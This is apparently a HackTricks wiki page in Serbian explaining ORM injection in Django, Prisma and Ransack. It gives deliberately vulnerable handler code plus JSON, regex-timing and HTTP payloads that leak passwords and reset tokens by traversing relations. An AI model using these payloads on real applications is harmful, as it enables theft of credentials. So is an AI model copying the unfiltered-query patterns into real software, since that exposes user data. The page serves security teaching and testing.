# ORM Injection {{#include ../banners/hacktricks-training.md}} ## Django ORM (Python) U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
class ArticleView(APIView):
"""
Neki osnovni API prikaz na koji korisnici šalju zahteve za
pretragu članaka
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje. Primeri: - **Prijava:** U jednostavnoj prijavi pokušajte da iscurite lozinke korisnika registrovanih unutar nje. ```json { "username": "admin", "password_startswith": "a" } ``` > [!CAUTION] > Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja. - **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`). ```json { "created_by__user__password__contains": "pass" } ``` > [!CAUTION] > Moguće je pronaći lozinku svih korisnika koji su kreirali članak - **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). ```json { "created_by__departments__employees__user_startswith": "admi" } ``` > [!CAUTION] > U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke). - **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Pored toga, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**. ```bash # By users in the same group created_by__user__groups__user__password # By users with the same permission created_by__user__user_permissions__user__password ``` - **Zaobilaženje ograničenja filtera**: Isti blog post je predložio zaobilaženje korišćenja nekih filtera kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is_secret=True jer možemo da se vratimo iz veze u tabelu Article i da otkrijemo tajne članke iz netajnih članaka jer su rezultati spojeni i is_secret polje se proverava u netajnom članku dok se podaci otkrivaju iz tajnog članka. ```bash Article.objects.filter(is_secret=False, categories__articles__id=2) ``` > [!CAUTION] > Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka. - **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima očekivalo se da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl. ```json // Non matching password { "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$" } // ReDoS matching password (will show some error in the response or check the time) {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} ``` - **SQLite**: Po defaultu nema regexp operator (zahteva učitavanje eksterne ekstenzije) - **PostgreSQL**: Po defaultu nema regex timeout i manje je podložan backtrackingu - **MariaDB**: Po defaultu nema regex timeout ## Prisma ORM (NodeJS) Sledeće su [**trikovi izvučeni iz ovog posta**](https://www.elttam.com/blog/plorming-your-primsa-orm/). - **Potpuna kontrola nad pronalaženjem**:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Napadač ima potpunu kontrolu nad svim prisma opcijama
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je videti da se celo javascript telo prosleđuje prismi za izvršavanje upita. U primeru iz originalnog posta, ovo bi proverilo sve postove koje je kreirao neko (svaki post je kreiran od strane nekoga) vraćajući takođe informacije o korisniku tog nekoga (korisničko ime, lozinka...) ```json { "filter": { "include": { "createdBy": true } } } // Response [ { "id": 1, "title": "Buy Our Essential Oils", "body": "They are very healthy to drink", "published": true, "createdById": 1, "createdBy": { "email": "karen@example.com", "id": 1, "isAdmin": false, "name": "karen", "password": "super secret passphrase", "resetToken": "2eed5e80da4b7491" } }, ... ] ``` Sledeći upit bira sve postove koje je kreirao neko sa lozinkom i vratiće lozinku: ```json { "filter": { "select": { "createdBy": { "select": { "password": true } } } } } // Response [ { "createdBy": { "password": "super secret passphrase" } }, ... ] ``` - **Potpuna kontrola where klauzule**: Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Podložno ORM leak-ovima
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je filtrirati lozinku korisnika direktno kao: ```javascript await prisma.article.findMany({ where: { createdBy: { password: { startsWith: "pas", }, }, }, }) ``` > [!CAUTION] > Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije. - **Zaobilaženje filtriranja u mnogim-relacijama:** ```javascript app.post("/articles", async (req, res) => { try { const query = req.body.query query.published = true const posts = await prisma.article.findMany({ where: query }) res.json(posts) } catch (error) { res.json([]) } }) ``` Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`: ```json { "query": { "categories": { "some": { "articles": { "some": { "published": false, "{articleFieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } ``` Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-mnoge odnosa: ```json { "query": { "createdBy": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "departments": { "some": { "employees": { "some": { "{fieldToLeak}": { "startsWith": "{testStartsWith}" } } } } } } } } } } } } } } } } ``` - **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je: ```json { "OR": [ { "NOT": {ORM_LEAK} }, {CONTAINS_LIST} ] } ``` Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravni leak.** ## **Ransack (Ruby)** Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.** > [!TIP] > **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.** **Vulnerabilan primer:** ```ruby def index @q = Post.ransack(params[:q]) @posts = @q.result(distinct: true) end ``` Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa: ```http GET /posts?q[user_reset_password_token_start]=0 GET /posts?q[user_reset_password_token_start]=1 ... ``` Kroz brute-forcing i potencijalno odnose, bilo je moguće izvući više podataka iz baze podataka. ## References - [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/) - [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/) - [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration) {{#include ../banners/hacktricks-training.md}}